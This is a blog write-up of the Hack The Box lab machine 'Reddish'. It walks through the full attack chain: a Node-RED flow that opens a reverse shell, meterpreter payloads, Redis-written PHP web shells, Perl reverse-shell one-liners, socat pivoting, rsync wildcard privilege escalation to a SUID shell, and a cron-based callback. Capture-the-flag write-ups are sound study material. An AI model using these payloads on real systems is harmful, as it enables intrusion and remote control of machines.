Writeup: Hack The Box — Reddish


  • Name: reddish
  • IP: 10.10.1094
  • Author: yuntao
  • Difficulty: 8.1/10


nmap -sV -sC -Pn -p- --min-rate 1000 --max-rate 5

1880/tcp open http Node.js Express framework
|_http-title: Error
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:

From gobuster: (Status: 301) (Status: 301) (Status: 301) (Status: 200) (Status: 301)

From nikto:

+ Target IP:
+ Target Hostname:
+ Target Port: 1880
+ Start Time: 2018-12-11 09:30:05 (GMT1)
+ Server: No banner retrieved
+ Retrieved x-powered-by header: Express
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ No CGI Directories found (use '-C all' to force check all possible dirs)

+ Server leaks inodes via ETags, header found with file /favicon.ico, fields: 0xW/423e 0x1632cb8ed78
+ Allowed HTTP Methods: POST
+ 7500 requests: 0 error(s) and 5 item(s) reported on remote host
+ End Time: 2018-12-11 09:36:07 (GMT1) (362 seconds)
+ 1 host(s) tested


The target web-server on port 1880 is not configured to use GET (Nikto listed only _POST_ method):

With a POST request the server responds with an id and path key (the id is different from each reboot):

http POST

HTTP/1.1 200 OK
Connection: keep-alive
Content-Length: 86
Content-Type: application/json; charset=utf-8
Date: Sun, 16 Dec 2018 15:10:35 GMT
ETag: W/"56-joAMhror+1d2+Z6Z553A/FFSJ7I"
X-Powered-By: Express

"id": "a482df6bbb192aea703be2169b2f931a",
"ip": "::ffff:",
"path": "/red/{id}"

Following this URL a node-red application is presented to the user. Node-RED is a programming tool for wiring together hardware devices, APIs and on-line services using drag-and-drop.

Since the tool allows creating TCP sockets and connections it's possible to instantiate a reverse shell using a pre-configured JSON config.

{ "id": "7235b2e6.4cdb9c", "type": "tab", "label": "Flow 1" },
"id": "d03f1ac0.886c28",
"type": "tcp out",
"z": "7235b2e6.4cdb9c",
"host": "",
"port": "",
"beserver": "reply",
"base64": false,
"end": false,
"name": "",
"x": 786,
"y": 350,
"wires": []
"id": "c14a4b00.271d28",
"type": "tcp in",
"z": "7235b2e6.4cdb9c",
"name": "",
"server": "client",
"host": "10.10.XX.XX",
"port": "3488",
"datamode": "stream",
"datatype": "buffer",
"newline": "",
"topic": "",
"base64": false,
"x": 281,
"y": 337,
"wires": [["4750d7cd.3c6e88"]]
"id": "4750d7cd.3c6e88",
"type": "exec",
"z": "7235b2e6.4cdb9c",
"command": "",
"addpay": true,
"append": "",
"useSpawn": "false",
"timer": "",
"oldrc": false,
"name": "",
"x": 517,
"y": 362.5,
"wires": [["d03f1ac0.886c28"], ["d03f1ac0.886c28"], ["d03f1ac0.886c28"]]

Open a listener with nc -lvp 3488; import the JSON with the menu on the right and then “import”, “Clipboard” and click “Deploy”. A shell should pop up:

Trigger the connection for the reverse shell
Reverse shell

To upgrade the reverse shell to a meterpreter session:

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=3487 -f elf -o dodo.exemsfconsole -x "use exploit/multi/handler; set payload linux/x64/meterpreter/reverse_tcp; set LHOST $(ip addr show tun0 | grep -Po "inet \K[\d.]+"); set LPORT 3487; run -j"base64 -w0 dodo.exe

On the target machine drop the meterpreter ELF:

echo -n <base64fromabove> | base64 -d > dodo.exe; chmod +x ./dodo.exe; ./dodo.exe

The exploited machine is a container without any useful information except for the list of network interfaces and subnets.

meterpreter > ipconfig

Interface 1
Name : lo
Hardware MAC : 00:00:00:00:00:00
MTU : 65536
IPv4 Address :
IPv4 Netmask :

Interface 7
Name : eth0
Hardware MAC : 02:42:ac:12:00:02
MTU : 1500
IPv4 Address :
IPv4 Netmask :

Interface 17
Name : eth1
Hardware MAC : 02:42:ac:13:00:04
MTU : 1500
IPv4 Address :
IPv4 Netmask :

To confirm that the session is inside a container: run post/linux/gather/checkcontainer.

To start pivoting on both networks the routes should be added using run post/multi/manage/autoroute. First of all a port scan is useful to discover and scan all other machines in the subnet.

This phase requires a lot of time so run -j can be used to make this activity asynchronous. After a while the port scan returns:

[+]           - - TCP OPEN
[+] - - TCP OPEN
[+] - - TCP OPEN (this is the current container)

autoroute is not enough to access these containers, a port forwarding is required:

portfwd add -l 6379 -r -p 6379
portfwd add -l 8080 -r -p 80

Now the Redis and the Apache server can be accessed on localhost. A scan on those ports returns some detailed information:

8080/tcp open http Apache httpd 2.4.10 ((Debian))

6379/tcp open redis Redis key-value store 4.0.9

Redis server can be queried on localhost via redis-cli (shipped with the default Redis installation).

The default Apache welcome page is improved with some JavaScript code to push visitor's hits on the Redis DB.

$(document).ready(function() {

function getData() {
url: "8924d0549008565c554f8128cd11fda4/ajax.php?test=get hits",
cache: false,
dataType: "text",
success: function(data) {
console.log("Number of hits:", data);
error: function() {}

function incrCounter() {
url: "8924d0549008565c554f8128cd11fda4/ajax.php?test=incr hits",
cache: false,
dataType: "text",
success: function(data) {
console.log("HITS incremented:", data);
error: function() {}

* 1. Share the web folder with the database container (Done)
* 2. Add here the code to backup databases in /f187a0ec71ce99642e4f0afbd441a68b folder
* ...Still don't know how to complete it...
function backupDatabase() {
url: "8924d0549008565c554f8128cd11fda4/ajax.php?backup=...",
cache: false,
dataType: "text",
success: function(data) {
console.log("Database saved:", data);
error: function() {}

Since the back-end is using PHP to collect hits data it should be clear that Redis should be exploited to create a RCE.

redis-cli can be used to upload a web shell since Redis can be exploited to run commands: https://dl.packetstormsecurity.net/1511-exploits/redis-exec.txt

echo "CONFIG SET dir /var/www/html" | redis-cli
echo "CONFIG SET dbfilename dosh.php" | redis-cli
echo "SET PAYLOAD \"<?php system(\$_GET['cmd']); ?>\"" | redis-cli
echo "BGSAVE" | redis-cli

Now the web-shell is usable from http://localhost:8080/dosh.php?cmd=id; since PHP is installed should be possible to create another meterpreter session from the Apache container.

Apache’s web shell

The garbage on the output is due to the Redis DB file format.

The container with Apache (and the one with Redis) are not allowed to connect back to the attacker machine but only to the first container (Node-RED), so the attacker needs to pivot all traffic through this machine.

Metasploit offers the possibility to run a SOCKS proxy (both v4 and v5); this proxy can be used with proxychains to access the subnet from the meterpreter session. For example is possible to run Nmap from another terminal using proxychains nmap -sP 172.19.0.* (to get a list of online IPs).

After some trial and error the best way to create a reverse shell is to use socat as proxy on the Node-RED container to forward all the traffic from Apache container to the attacker machine; however the socat binary is not present on the victim machine but it's possible to upload it via meterpreter from https://github.com/andrew-d/static-binaries.

./socat tcp4-listen:3455,reuseaddr,fork tcp4:10.10.XX.XX:8456

This command spawns a listener on port 3455; the traffic coming from this port is forwarded to the remote attacker host on port 8456 (the attacker is listening using nc -lvp 8456). To execute a reverse shell on the remote Apache machine a simple command to connect back is not enough since the connection is killed after the command execution.

To create a "persistent" connection the attacker should create a multi-stage shell: drop the command/script on the remote machine and then execute it.

The user running Apache is www-data and can write files only in the /var/www/html/f187a0ec71ce99642e1f0afbd441a68b folder; the attacker should drop the reverse shell script in this folder, add the execution permission bit and then run it.

To automate the shell upload is possible to use proxychains to execute a simple script:

echo "FLUSHALL" | redis-cli -h
echo "CONFIG SET dir /var/www/html" | redis-cli -h
echo "CONFIG SET dbfilename dosh.php" | redis-cli -h
echo "SET PAYLOAD \"<?php echo shell_exec(\$_GET['cmd']); ?>\"" | redis-cli -h
echo "BGSAVE" | redis-cli -h

# Create a revere shell connector in Perl
pshell=$(echo "perl -e 'use Socket;\$i=\"\";\$p=3455;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'" | base64 -w0)

# Upload, add +x and execute the remote shell
# HTTPie automatically url-encode the parameters if using "=="
http GET "" "cmd==echo -n ${pshell} | base64 -d > ./f187a0ec71ce99642e4f0afbd441a68b/dodo.pl; chmod +x ./f187a0ec71ce99642e4f0afbd441a68b/dodo.pl; ./f187a0ec71ce99642e4f0afbd441a68b/dodo.pl" | cat --

Now a shell is popped:

Heading to /home folder to search for the first flag:

The user.txt file is not readable from www-data but it is possible to find a way to privesc to root. In cron folders there is a backup entry that execute, as root, /backup/backup.sh every 3 minutes:

*/3 * * * * root sh /backup/backup.sh

The backup script is using rsync to restore the content of /var/www/htmlfolder (this script destroys the uploaded shell but not the running process):

cd /var/www/html/f187a0ec71ce99642e4f0afbd441a68b
rsync -a *.rdb rsync://backup:873/src/rdb/
cd / && rm -rf /var/www/html/*
rsync -a rsync://backup:873/src/backup/ /var/www/html/
chown www-data. /var/www/html/f187a0ec71ce99642e4f0afbd441a68b

rsync can be exploited to execute arbitrary command if used with the wildcard * (similar to the tar privesc):

echo "cp /bin/bash /tmp/dodosh" > test.rdb
echo "chmod +x /tmp/dodosh" >> test.rdb
echo "chmod +s /tmp/dodosh" >> test.rdb
echo "" > "-e sh test.rdb"

These commands create a file called test.rdb (to match the wildcard) that will copy the Bash binary to /tmp; add the execution bit and then make the ELF SUID. This script should create a SUID runnable shell owned by root.

After a while the bash binary is copied in /tmp and can be used to run a session for root (./dodosh -p):

Root session
User flag

The Apache container has two interfaces:

ip addr show

1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet scope host lo
valid_lft forever preferred_lft forever
7: eth0@if8: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
link/ether 02:42:ac:13:00:02 brd ff:ff:ff:ff:ff:ff
inet brd scope global eth0
valid_lft forever preferred_lft forever
9: eth1@if10: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
link/ether 02:42:ac:14:00:02 brd ff:ff:ff:ff:ff:ff
inet brd scope global eth1
valid_lft forever preferred_lft forever

The subnet is the one used to communicate with the Redis server; the subnet 172.20.2 is used by the backup script rsync from backup host: (port 873, default port).

On the Apache container there is no root.txt so the system flag should be in the last container backup. Using rsync is possible to download the filesystem of the remote host:

rsync -a --progress --max-size='5k' --min-size="1k" rsync://backup:873/src/ .

To filter only the system flag the command allows to set a minimum and maximum size for the transferred files.

No root flag

On the remote host there is no system flag but using rsyncis possible to get a shell and then start an in-depth analysis of the backup container.

Using rsync an attacker can upload arbitrary files on the remote host so creating a simple cron file it's possible to get a reverse shell:

On the Apache container:

echo '* * * * * root perl -e '"'"'use Socket;$i="";$p=3455;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'"'"'' > dorev

This command execute a connection to the Apache host via the "backup" subnet. To get a reverse shell the attacker also need the Ncat ELF that can be imported using the base64 encoding (same as the meterpreter ELF).

rsync -a --progress ./dorev rsync://backup:873/src/etc/cron.d/dorev

Once the connection is triggered from backup the shell is spawned but, again, no system flag.

Analysing the filesystem and the location of device files in /dev is possible to see that many volumes are available to be mounted:

Mounting /dev/sda1 on /mnt the system flag is readable:

Root flag
Reddish badge





Security Engineer: loving cloud, red teaming and automation

Love podcasts or audiobooks? Learn on the go with our new app.

Recommended from Medium

Scalable remote management of embedded Linux devices via WebSockets

EA Certification Study Guide Part 4: Dashboard Implementation

An high performance autoloader for PHP

Preparing and implementing svgs on the web

6 quick tips to effective scoping in game development

Benchmarking Bodo (Part I): Monte Carlo Pi

Plot showing the performance of improvement of Bodo vs Numpy

Everyone Can Code — Buts It’s Not A Necessity

Activate Spark Authentication (more like simple authentication)

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store
Edoardo Rosa

Edoardo Rosa

Security Engineer: loving cloud, red teaming and automation

More from Medium

TryHackMe: Intro to Malware Analysis [Write-up]

TryHackMe Core Windows Processes Walk-through (Cyber Defense Path) by jself970

Pickle Rick — TryHackMe, WriteUp

RootMe Walkthrough — THM